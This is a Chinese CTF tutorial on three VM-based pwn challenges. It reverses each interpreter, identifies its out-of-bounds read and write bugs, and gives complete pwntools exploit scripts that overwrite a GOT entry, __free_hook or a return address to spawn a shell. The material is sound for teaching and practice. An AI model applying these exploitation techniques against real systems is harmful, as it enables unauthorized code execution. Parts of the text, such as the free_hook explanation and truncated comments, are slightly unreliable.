今天的文章有點長,圖片比較多,請耐心閱讀


5.1 實驗一 VMPWN1

5.1.1 題目簡介

這是一道基礎的VM相關題目,VMPWN的入門級別題目。前面提到VMPWN一般都是接收字節碼然后對字節碼進行解析,但是這道題目不接受字節碼,它接收字節碼的更高一級語言:匯編。程序直接接收類似”mov”、”add”之類的指令,可以把這道題目看作是一個執行匯編語言的處理器,相比于解析字節碼的VM,逆向難度要大大減小。非常適合入門。

5.1.2 題目保護檢查

只有Partial RELRO保護,這意味著可以修改程序的重定位表;沒有開啟PIE保護,那么程序每次加載到內存中的地址都不會發生變化。

5.1.3 漏洞分析

拖進IDA分析流程


程序模擬了一個虛擬機,v5,v6,v7分別是stack段,text段和data段。看到alloc_mem這個函數


Malloc一塊小內存ptr,然后參數a1是要分配的內存的大小,一個單位是8字節。根據偽代碼中對ptr的賦值可以構造出一個結構體,如下

struct seg_chunk
{
  char *seg;
  int size;
  int nop;
};

再看到alloc_mem函數會直觀很多

但是這樣依然有一些難以理解,我們使用GDB打開程序進行調試,看到如下圖所示


存在多個0x20大小的小堆塊,堆塊中的開頭8字節指向下方的大堆塊,第8到第12字節則是大堆塊的大小的單位數量,比如0x400=0x80*0x8,單位長度為8字節,后面的0xffffffff暫時不知道作用,可能只適用于占位。因此根據gdb的顯示結果,我們重新創建一個結構體,如下

struct manage_chunk
{
  unsigned __int8 *chunk;
  unsigned int unit_num;
  int unknow;
};

繼續看到main函數, 接著會讓用戶輸入程序名

分配好各個段之后,然后讓我們輸入指令,先寫到一個0x400的緩沖區中

然后再寫到text段中,store_opcode函數如下


函數接受兩個參數,a1為text段的指針,a2為緩沖區的指針,strtok函數原型如下:

char *strtok(char *str, const char *delim)
str -- 要被分解成一組小字符串的字符串。
delim -- 包含分隔符的 C 字符串。
該函數返回被分解的第一個子字符串,如果沒有可檢索的字符串,則返回一個空指針。

程序中的delim為\r\tstrtok(a2, delim)就是以\r\t分割a2中的字符串

由下面的if-else語句我們可以知道程序實現了push,pop,add,sub,mul,div,load,save這幾個功能,每個功能都對應著一個opcode,將每一個opcode存儲到函數中分配的一個臨時data段中(函數執行完后這個chunk就會被free掉)

sub_40144E函數如下:


這個函數是用來將函數中的臨時text段的指令轉移到程序中的text段的,每八個字節存儲一個opcode,每存儲一個指令,就會對unknow進行加1的操作。我們將這個函數重名為set_value

需要注意的是,這里存儲opcode的順序和我們輸入指令的順序是相反的(不過也沒啥需要注意的,反正程序是按照我們輸入的指令順序來執行的)。

write_stack函數如下:

和store_opcode函數相比就是去掉了存儲opcode的環節,將我們輸入的數據存儲在stack段中。

我們再看到execute函數

一個很大switch選擇語句,看到sub_4014B4函數

將a1中seg內的值給到a2,unknow每次都會減一,而a1是text段的指針,所以這個函數就是從text段中取指令,將其重命名為take_value。

對于set_value函數而言,每次會將unknow加1,而對于take_value而言,每次會將unknow減1,因此我們在這里可以猜測unknow是當前的數據的數量,因此重新定義結構體

struct manage_chunk
{
  unsigned __int8 *chunk;
  unsigned int unit_num;
  int num_now;
};

看到case0x11對應的函數sub_401AAC

調用了take_value函數和sub_40144E函數,sub_40144E如下

將a2放入a1的seg中,和take_value的操作相反,所以我們將其命名為set_value。整體看來就是這樣子的,如下圖所示

從stack中取值,然后將值存入data中,所以這里的操作我們可以理解為pop,因此我們將sub_401AAC重命名為pop。

再看到sub_401AF8函數

從data中取出兩個值,然后將這兩個值相加存入data中,所以我們將其重命名為add。

看到sub_401BA5函數

很明顯就是減法

再看sub_401C06函數

這個函數是乘法

再看sub_401C68函數

這個函數是除法

再看到sub_401CCE函數

稍微復雜了一點點,從data中取出一個值,然后以這個值為索引,從data中取值,將取出來的值載data中。我們將這個函數命名為load。

最后看到sub_401D37函數

這里取出兩個值a2和v4,以a2為索引,將v4存入a2索引找到的內存中。將其命名為save。

至此,所有的操作都已經分析完畢,那么程序的漏洞在哪?注意看到load和save功能

索引v3是從data段中取出來的,而data段的值是由用戶輸入的

通過push和pop以及加減乘除等操作可以控制data段中的數據,而在load中以data段中的數據為索引時又沒有對其進行限制,所以這里存在一個越界讀的漏洞,即我們只需要設置好data段中的數據,在使用load功能時就可以將不屬于data段中的數據讀取到data段中。

除了load中的越界讀漏洞,在save操作中也存在漏洞

Save功能中從data段中取出兩個值,然后將其中一個值作為data段的索引,從中取出一個值addr,將從data段中取出的另一個值存入addr指向的內存當中。這里沒有對這兩個值進行判斷,也沒有對addr進行任何判斷,所以我們可以將任意值寫入任意地址中,這里就存在一個越界寫漏洞。

所以這個程序一共存在兩個漏洞:越界讀和越界寫漏洞。

靜態分析完畢,開始動態分析

存在越界讀寫的漏洞,該怎么利用?

由于程序沒有開啟FULL RELRO,所以我們可以復寫got表,got中會存放有已經運行過的函數的加載地址,修改某個函數的got表的值就能夠修改這個函數最終調用的函數地址。在這個程序中有如下函數

在這里我們選擇將puts的got表中的值修改system函數的地址,為什么?

在程序的一開始讓我們輸入了一個程序名,然后execute運行結束后,會調用puts函數輸出程序名,當我們將puts函數的got表的值修改為system函數的地址后,puts(s)就變成了system(s),而如果我們輸入的s的內容為/bin/sh,那么最終就會調用system(“/bin/sh”)。

注意到heap區上方

Heap區上方就是程序的text段,text段中存有got表,有大量的libc的地址

而程序本身沒有輸出功能,所以我們需要利用程序提供的功能進行寫入加減運算。load和save功能都是在data段進行的,而且存在越界,它們的的參數都是data結構體的指針。

而對data段進行操作都是通過存儲在data結構體中的data段指針進行操作的,只要我們修改了這個指針,data段的位置也會隨之改變,所以我們可以利用save的越界寫漏洞,將data段指針修改到0x404000附近(也可以直接在data段進行越界讀寫,畢竟越界讀寫的范圍也沒有限定,不過這樣計算起來會比較麻煩)。

我們將data段指針改寫為stderr下方的一段無內容處,即0x4040d0。

這個操作對應的payload為

push push save 
0x4040d0 -3

調試看看

我們將斷點下載push處,如下圖所示

也就是地址0x00000000004019C7

push之前

push之后

0x4040d0被push到了data段開始處,接著將-3也push到data段

然后利用save功能的越界寫,將0x4040d0寫入到data[-3]處

執行完這一段指令之后,data段的指針就被修改到了0x4040d0。

之后我們對data段的操作就都是以0x4040d0為基地址來操作的,我們將上方的stderr的地址(或者別的地址)load到data段,然后計算出在libc中stderr和system的相對偏移,push到data段,然后將stderr和偏移相加就能得出system的地址,接著再利用save功能,將system寫入puts@got(在0x404020處)即可。

5.1.4 利用腳本

from pwn import *
context.binary = './ciscn_2019_qual_virtual'
context.log_level = 'debug'
io = process('./ciscn_2019_qual_virtual')
elf = ELF('ciscn_2019_qual_virtual')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil('name:')
io.sendline('/bin/sh')
data_addr = 0x4040d0
offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_']
opcode = 'push push save push load push add push save'
data = [data_addr, -3, -1, offset, -21]
payload = ''
for i in data:
    payload += str(i)+' '
io.recvuntil('instruction:')
io.sendline(opcode)
#gdb.attach(io,'b *0x401cce')
io.recvuntil('data:')
io.sendline(payload)
io.interactive()

5.2 實驗二 VMPWN2

5.2.1 實驗簡介

這道題難度要比前一道題稍微大一些,前一道題的輸入為匯編形式的指令,而這一道題是很經典的一個VM,接收字節碼,處理字節碼,前一道題以接收匯編形式的指令,對于我們的逆向起到了很大的幫助,因為正常的VM逆向就是需要我們對字節碼進行逆向將其還原為匯編形式的指令;所以這道題才是真正的VMPWN入門題。

5.2.2 題目保護檢查

相比于前一題,保護開啟增多,只有canary保護未開啟。

5.2.3 漏洞分析

首先讓我們輸入PC和SP

PC 程序計數器,它存放的是一個內存地址,該地址中存放著 下一條 要執行的計算機指令。

SP 指針寄存器,永遠指向當前的棧頂。

然后讓我們輸入codesize,最大為0x10000字節 接著依次輸入code

if語句是用來限制code的值的,將其中高8位為0xFF的整數的值修改為0xE0000000,然后存儲到數組memory中。接著進入where循環,fetch函數如下

這里使用到了reg[15],存儲著PC的值,我們看一看這個程序使用的一些數據

每次將PC的值增加1,依次讀取memory中的code

再看到execute函數

由于execute函數較長,所以我們不一次性放出,分段進行分析

Execute的參數是一個4字節的opcode

v4 = (code & 0xF0000u) >> 16將會取第三個字節的數值。

v3 = (unsigned __int16)(code & 0xF00) >> 8將會取第二個字節的數值,并且這個數只是1位16進制數。

v2 = code & 0xF將會取最末尾一字節。

result = HIBYTE(code),將code的最高一字節給result,最高一字節用于指定對應的操作碼。如果最高字節為0x70,那么執行加法操作,reg[v4] = reg[v2] + reg[v3]。

繼續往下看

總結如下:

操作碼為0x10,將一個1字節的常量存入reg[v4];

操作碼為0x20,判斷code的最低字節是否為0,并將reg[v4]設置為結果;

操作碼為0x30,以reg[v2]為索引,將memory[reg[v2]送入reg[v4];

操作碼為0x40,將reg[v4]送入memory[reg[v2];

操作碼為0x50,執行push操作,將reg[v4]壓入棧中,reg[13]是可以理解為rsp寄存器;

操作碼為0x60,執行pop操作,將棧頂的值彈出到reg[v4]中;

操作碼為0x70,執行加法操作,reg[v4] = reg[v2] + reg[v3];

操作碼為0x80,執行減法操作,reg[v4] = reg[v3] - reg[v2];

操作碼為0x90,執行按位與操作,reg[v4] = reg[v2] & reg[v3];

操作碼為0xa0,執行按位或操作,reg[v4] = reg[v2] | reg[v3];

操作碼為0xb0,執行異或操作,reg[v4] = reg[v2] ^ reg[v3];

操作碼為0xc0,執行左移操作,reg[v4] = reg[v3] << reg[v2];

操作碼為0xd0,執行右移操作,reg[v4] = (int)reg[v3] >> reg[v2];

操作碼為0xe0,如果棧中已經沒有值了,那就退出,在退出的時候會打印出所有寄存器的值。

以上就是這個VM實現的所有操作,可以看出基本實現了CPU的基本功能。

程序邏輯理清楚了,該思考怎么利用了。

操作碼為0x30和0x40時,分別實現了load和save功能,在將內存中的值讀入寄存器中時以及將寄存器中的值寫入內存中是并未對邊界以及要讀取或寫入的值有所限制,因此在這里依然存在越界讀和越界寫漏洞。

這道題開啟了FULL RELRO保護,這樣一來got表就不可寫了,我們就不能夠通過上一題的方式修改got表來劫持函數。

在程序的結尾調用了sendcomment函數,函數實現如下

調用free函數將comment這個堆塊釋放掉。

在這里我們需要提及到free_hook這個鉤子函數

什么是free_hook?

在GNU C庫(glibc)中,free_hook是一個全局變量,用于實現動態內存分配和釋放的鉤子函數。當程序使用malloc()、calloc()、realloc()等函數進行內存分配時,會調用free_hook函數來進行內存釋放的操作。

通過定義自己的free_hook函數,可以在內存分配和釋放時進行額外的處理操作,例如記錄內存分配和釋放的情況、檢測內存泄漏等。

在glibc中,可以通過設置free_hook變量來實現自定義的內存釋放操作。例如,可以使用以下代碼來設置free_hook變量:

void my_free_hook(void *ptr, const void *caller) {
    printf("Freeing memory at %p, called by %p", ptr, caller);
    __free_hook = old_free_hook;
    free(ptr);
    __free_hook = my_free_hook;
}
void *old_free_hook = NULL;
int main() {
    old_free_hook = __free_hook;
    __free_hook = my_free_hook;
    __free_hook = old_free_hook;
    return 0;

在這段代碼中,定義了一個自定義的my_free_hook函數來實現內存釋放的操作。在main()函數中,先保存原來的__free_hook變量,然后設置自定義的my_free_hook函數為新的__free_hook變量。在程序運行時,即可使用自定義的my_free_hook函數來進行內存釋放的操作。

需要注意的是,自定義的free_hook函數必須遵守內存分配和釋放的規范,正確地分配和釋放內存,避免內存泄漏和內存溢出等問題。

也就是說,在調用free函數之后,首先會檢查free_hook是否被設置了鉤子函數,如果free_hook被設置了鉤子函數,那么首先會調用鉤子函數,然后才會調用真正的free函數,而這個鉤子函數的參數,和free函數的參數是一樣的,也就是要釋放的堆塊的指針。

如果我們將free_hook設置為system函數的地址,將要釋放的堆塊的開頭設置為/bin/sh,那么在調用free的時候就會先調用system(“/bin/sh”)。

首先我們需要泄露libc地址,bss段上方一段距離就是got表,我們通過越界讀將got表中的libc地址讀取到寄存器中,這里需要注意的是,由于寄存器是雙字,也就是四字節的,而地址是八字節的,所以我們需要兩個寄存器才能存儲一個地址。

got表中最后一個是stderr,不過我們不選它來泄露,因為stderr地址的最后兩位是00。

在這里我們選擇stdin來泄露,因為后續我們需要通過stdin的地址來計算得到__free_hook-8,因此盡量選擇與free_hook地址相差較小的來泄露,能夠減小計算量。

有了泄露目標之后,就該來計算索引了(reg[v4] = memory[reg[v2]])。memory的地址是0x202060,stdin@got的地址為0x201f80,memory也是雙字類型,于是有n=(0x202060-0x201f80)/4=56,索引就是-56。

該如何構造出-56,可以通過在內存中負數的存儲方式來構造,0xffffffc8在內存中就表示-56,通過-56讀取stdin地址的后四字節,通過-55讀取前四個字節。如何得到0xffffffc8,可以通過ff左移位和加法運算得到,構造步驟如下:

setnum(0,8), #reg[0]=8
setnum(1,0xff), #reg[1]=0xff
setnum(2,0xff), #reg[2]=0xff
left_shift(2,2,0), #reg[2]=reg[2]<
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2,2,0), #reg[2]=reg[2]<
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1,0xc8), #reg[1]=0xc8
left_shift(2,2,0), #reg[2]=reg[2]<
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)

調試看看

我們首先將reg[0]設置為8,用于移位操作,將reg[1]設置為0xff,用于后續加法操作,將reg[2]也設置為0xff,用于移位操作

然后在左移操作下斷點

左移之后,reg[2]變成了0xff00.繼續

此時reg[2]已變成了0xffffff00,只需要再加上0xc8就能夠構造出-56

然后我們讀取stdin的地址,存入兩個寄存器中

read(3,2), #reg[3]=memory[reg[2]]=memory[-56]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55
read(4,2), #reg[4]=memory[reg[2]]=memory[-55]

這里為什么要用兩個寄存器,是因為每個寄存器的長度只有4字節,而libc地址的長度為8字節,所以需要用兩個寄存器才能存儲一個完整的libc地址

在越界讀的位置處下斷點

stdin的libc地址的末尾4字節已經被讀取到reg[3]中,再來一次越界讀

此時前4字節也被讀取到了reg[4]中。

有了stdin地址之后,我們計算出stdin和free_hook-8的偏移,通過add將偏移加到存儲stdin地址的寄存器之上,再寫入comment[0]即可,comment[0]與memory的相對索引是-8.

-8是怎么算出來的

comment的地址是0x56336d3dd040,而memory的地址是0x56336d3dd060,(0x56336d3dd060-0x56336d3dd040)/4=8,而由于comment在memory的上方,所以索引應該為-8.

setnum(1,0x10), #reg[1]=0x10
left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0,0x90), #reg[0]=0x90
add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字節+0x1090=&free_hook-8后四字節
setnum(1,47), #reg[1]=47
add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8
write(3,2), #memory[reg[2]]=memory[-8]=reg[3]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7
write(4,2), #memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit

5.1.4利用腳本

#!/usr/bin/python
from pwn import *
from time import sleep
context.binary = './OVM'
context.log_level = 'debug'
io = process('./OVM')
elf = ELF('OVM')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#reg[v4] = reg[v2] + reg[v3]
def add(v4, v3, v2):
    return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
#reg[v4] = reg[v3] << reg[v2]
def left_shift(v4, v3, v2):
    return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
#reg[v4] = memory[reg[v2]]
def read(v4, v2):
    return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
#memory[reg[v2]] = reg[v4]
def write(v4, v2):
    return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
# reg[v4] = (unsigned __int8)v2
def setnum(v4, v2):
    return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
code = [
    setnum(0, 8),  # reg[0]=8
    setnum(1, 0xff),  # reg[1]=0xff
    setnum(2, 0xff),  # reg[2]=0xff
    left_shift(2, 2, 0),  # reg[2]=reg[2]<
    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
    left_shift(2, 2, 0),  # reg[2]=reg[2]<
    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
    setnum(1, 0xc8),  # reg[1]=0xc8
    # reg[2]=reg[2]<
    left_shift(2, 2, 0),
    # reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
    add(2, 2, 1),
    read(3, 2),  # reg[3]=memory[reg[2]]=memory[-56]
    setnum(1, 1),  # reg[1]=1
    add(2, 2, 1),  # reg[2]=reg[2]+reg[1]=-56+1=-55
    read(4, 2),  # reg[4]=memory[reg[2]]=memory[-55]
    setnum(1, 0x10),  # reg[1]=0x10
    left_shift(1, 1, 0),  # reg[1]=reg[1]<<8=0x10<<8=0x1000
    setnum(0, 0x90),  # reg[0]=0x90
    # reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
    add(1, 1, 0),
    add(3, 3, 1),  # reg[3]=reg[3]+reg[1]
    setnum(1, 47),  # reg[1]=47
    add(2, 2, 1),  # reg[2]=reg[2]+2=-55+47=-8
    write(3, 2),  # memory[reg[2]]=memory[-8]=reg[3]
    setnum(1, 1),  # reg[1]=1
    add(2, 2, 1),  # reg[2]=reg[2]+1=-8+1=-7
    write(4, 2),  # memory[reg[2]]=memory[-7]=reg[4]
    u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])  # exit
]
io.recvuntil('PC: ')
io.sendline(str(0))
io.recvuntil('SP: ')
io.sendline(str(1))
io.recvuntil('SIZE: ')
io.sendline(str(len(code)))
io.recvuntil('CODE: ')
for i in code:
    #sleep(0.2)
    io.sendline(str(i))
io.recvuntil('R3: ')
#gdb.attach(io)
last_4bytes = int(io.recv(8), 16)+8
log.success('last_4bytes => {}'.format(hex(last_4bytes)))
io.recvuntil('R4: ')
first_4bytes = int(io.recv(4), 16)
log.success('first_4bytes => {}'.format(hex(first_4bytes)))
free_hook = (first_4bytes << 32)+last_4bytes
libc_base = free_hook-libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
log.success('free_hook => {}'.format(free_hook))
log.success('system_addr => {}'.format(system_addr))
io.recvuntil('OVM?')
io.sendline('/bin/sh\x00'+p64(system_addr))
io.interactive()

5.3 實驗三 VMPWN3

5.3.1 實驗簡介

這道題是也一道很典型VMPWN,接收字節碼,然后進行解析,在解析過程中會存在漏洞,逆向分析這個虛擬機,找出其解析漏洞然后構造好特定的字節碼輸入進去從而通過這個程序漏洞拿下目標機器的權限。

5.3.2 題目保護檢查

這道題目的保護程序相較于上一題又有所提升,所有保護全部開啟。

5.3.3 漏洞分析

使用IDA打開程序

執行邏輯一目了然。

首先,使用fread往code中讀取0x100字節的opcode,然后進入while大循環,對我們輸入的opcode進行解析。

看到這個sub_11E9函數

很長一行偽代碼,似乎實現了很復雜的功能,不過仔細看一看

pc的初始值為0,那我們假設這個pc現在就是0,那么這行代碼就是將從code中取出4字節的opcode,然后左移8位,然后和0xFF0000進行按位與,假設當前opcode為0x12345678,0x12345678<<8&0xFF0000=0x560000,即取倒數第二字節。后面地幾個操作也是一樣,將每個字節取出來之后再用按位或操作組合起來,不過組合之后地opcode是將原始opcode逆序之后的。即如果原始code為0x12345678,那么取出來之后的opcode就為0x78563412。取完一串code之后,將pc指針加4。

所以這個函數的作用就是取指令,因此我們將其重命名為fetch_code。

然后繼續往下看。

HIBYTE(code)是什么意思?看到匯編

將code送入eax中,然后右移24位,將此時ax中的值取出來。如果我們的code為0x78563412,那么HIBYTE(code)就是0x78.也就是說,HIBYTE(code)會取code的最高1字節。因此我們將v7重命名為code

再看到對v6進行判斷的位置

這里做了大量的運算,但是在為代碼中都沒有顯示出來,我們來繼續分析匯編

將code存入eax,然后eax右移16位,將al存入var_249這個變量中,這個操作實際上取出的是第二個字節,因此我們將var_249重命名為second_byte。往下看

這里將code存入eax,然后將ax右移8位,將al存入var_248這個變量中,這個操作取出的是第三個字節,因此我們將var_248重命名為third_byte。

這里就是將第四個字節存入var_247中,將其重名為forth_byte。

根據取出來的1字節選擇對應的功能。最大值到0xF為止,所以這里取出來的1字節應該就是功能碼,對應我們要執行哪個操作。

接下來開始分析vm的功能有哪些,如何實現的。

注意到在程序中出現了大量的判斷語句,判斷code中的第一字節或者第二字節是否大于等于6,是的話就退出,根據我的經驗,這里的判斷就是對寄存器的索引值的判斷,也就是寄存器的索引值最大只能為5,那么就一共有6個寄存器,索引從0到5,每個寄存器的大小為WORD,即2字節。

一個虛擬機除了通用寄存器外,還應有pc指針(在前面已經出現),以及sp指針用來指示棧頂位置,因此我們在程序中搜尋可能的sp指針。由于sp指針的變化便隨著出棧和入棧,所以是相當好確定的。

在這里我們發現了類似于入棧出棧的操作,棧和棧頂指針也很快確定下來。將v9重名為sp_ptr。

v10+ v11一共0xc個字節,寄存器有2*6=0xc個字節,再加上stack,我們可以得出虛擬機的結構體如下:

struct vm
{
  int16_t regs[6];
  int16_t stack[256];
};

應用到IDA中如下所示

整個偽代碼變得更加清晰了,有哪些功能也能一眼看出

其實基本所有vm實現的功能都基本一樣,在前面兩題中我也做了具體分析,所以在這里就不再逐個分析了,所有功能如下所示:

那么漏洞點在哪里?注意到在進行三個寄存器的操作時,會對三個寄存器的索引值進行檢查,不能大于等于6。

然而在進行乘法時:

并未對r3的索引進行檢查,這樣就可以將超出寄存器范圍的數據進行乘法,當我們固定好另外兩個寄存器的數據時就能夠造成越界讀的效果。

還有一個漏洞

在進行mov指令時,對r2的索引檢查的時候是按照無符號整型的方式來檢查的,而對r1的索引檢查時則使用的是有符號整型檢查,這樣就有如果r1的索引為負數也一樣能夠通過檢查。這樣就有了一個越界寫漏洞。

這樣整體利用思路就是先利用乘法中的越界讀漏洞讀取libc地址,然后計算出onegadget地址,再利用越界寫漏洞將onegadget地址寫入到返回地址中。

接下來我們看到動態調試部分

由于虛擬機是在棧中分配的,而在棧中存在大量libc的地址,如下圖

我們可以利用乘法的越界讀功能,首先將一個寄存器的值設置為1,然后利用乘法的越界讀功能使棧中的libc地址與1相乘并存入寄存器中,這里需要注意,由于每個寄存器只有2字節長度,而libc地址的有效長度為6字節,所以需要用3個寄存器來存儲libc地址。

我們首先將reg0設置為1,如下圖所示

然后我們找到最近的libc地址,如下圖

而寄存器的起始地址為0x7ffde8c12c04,每個寄存器的大小為2字節,我們據此來計算這個libc地址的偏移量

如果要用寄存器來進行索引的話,那么索引下標應該為0xe,接著我們用乘法功能,使reg[0]*reg[0xe],并將結果存入reg[0]中

如上圖所示,已經將libc地址的末尾2字節存入了reg[0]中。

后續我們繼續按照此操作,將libc地址的剩余字節也存入reg[1]和reg[2]中,如下圖

有了libc地址之后,就可以根據libc地址計算onegadget的地址了

選擇0xe3b31這個onegadget,那么它在libc中的加載地址就為libc_base+0xe3b31

依然由于寄存器是2字節長度,所以我們每次對二字節進行操作,可以看到onegadget的末尾二字節和reg[0]的差值是0x431,也就是說reg[0]+0x431就可以得到onegadget的末尾二字節;

而中間二字節的差值為0x14,即reg[1]+0x14就可以得到onegadget的中間二字節的值,而最開頭的地址都是一樣的,不需要進行計算。

為了計算onegadget的地址,我們使用add功能。

接下來我們需要將onegadget的地址寫入到某個地址中,由于vm位于棧中,所以我們考慮將onegadget寫入返回地址中

但是越界寫功能只能夠往上越界寫,而返回地址位于虛擬機的下方,這里該怎么辦才能順利寫呢?

注意到在push功能處

棧頂指針是有符號類型,因此如果棧頂指針為負數就可以通過檢查,我們看看棧頂指針距離返回地址的偏移量為多少

虛擬機的棧也是2字節為單位,所以如果要通過棧索引到返回地址,則需要數組下標為0x10c。

在push進行賦值時,存在這樣的操作

假設rax為0x800000000000010c,rax*2之后就會整數溢出變成0x0000000000000218,這樣就既可以繞過棧頂指針檢測也可以將棧頂指針修改為指向返回地址。

后面我們再將寄存器中的值壓棧,就可以將返回地址覆蓋為onegadget的地址,這樣一來程序結束時就能夠調用onegadget來getshell

5.3.4 利用腳本

from pwn import *
context.log_level='debug'
io=process('./mva')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so')
onegadget=0xe3b31
def get_command(code, op1, op2, op3):
    return p8(code) + p8(op1) + p8(op2) + p8(op3)
def movl(reg, value):
    return get_command(1, reg, value >> 8, value & 0xFF)
def add(dest, add1, add2):
    return get_command(2, dest, add1, add2)
def sub(dest, subee, suber):
    return get_command(3, dest, subee, suber)
def band(dest, and1, and2):
    return get_command(4, dest, and1, and2)
def bor(dest, or1, or2):
    return get_command(5, dest, or1, or2)
def sar(dest, off):
    return get_command(6, dest, off, 0)
def bxor(dest, xor1, xor2):
    return get_command(7, dest, xor1, xor2)
def push(reg, value):
    if reg == 0:
        return get_command(9, reg, 0, 0)
    else:
        return get_command(9, reg, value >> 8, value & 0xFF)
def pop(reg):
    return get_command(10, reg, 0, 0)
def imul(dest, imul1, imul2):
    return get_command(13, dest, imul1, imul2)
def mov(src, dest):
    return get_command(14, src, dest, 0)
def print_top():
    return get_command(15, 0, 0, 0)
def pwn():
    io.recvuntil('[+] Welcome to MVA, input your code now :')
    payload=movl(0,0x1)
    payload+=imul(0,14,0)
    payload+=movl(1,0x1)
    payload+=imul(1,15,1)
    payload+=movl(2,0x1)
    payload+=imul(2,16,2)
    payload+=movl(4,0x431)
    payload+=add(0,0,4)
    payload+=movl(4,0x14)
    payload+=sub(1,1,4)
    payload+=movl(4,0x8000)
    payload+=mov(4,0xf9)
    payload+=movl(4,0x10c)
    payload+=mov(4,0xf6)
    payload+=push(0,0)
    payload+=mov(1,0)
    payload+=push(0,0)
    payload+=mov(2,0)
    payload+=push(0,0)
    payload=payload.ljust(0x100,'\x00')
    # gdb.attach(io,'b *$rebase(0x0000000000001431)')
    # pause()
    io.send(payload)
    io.interactive()
pwn()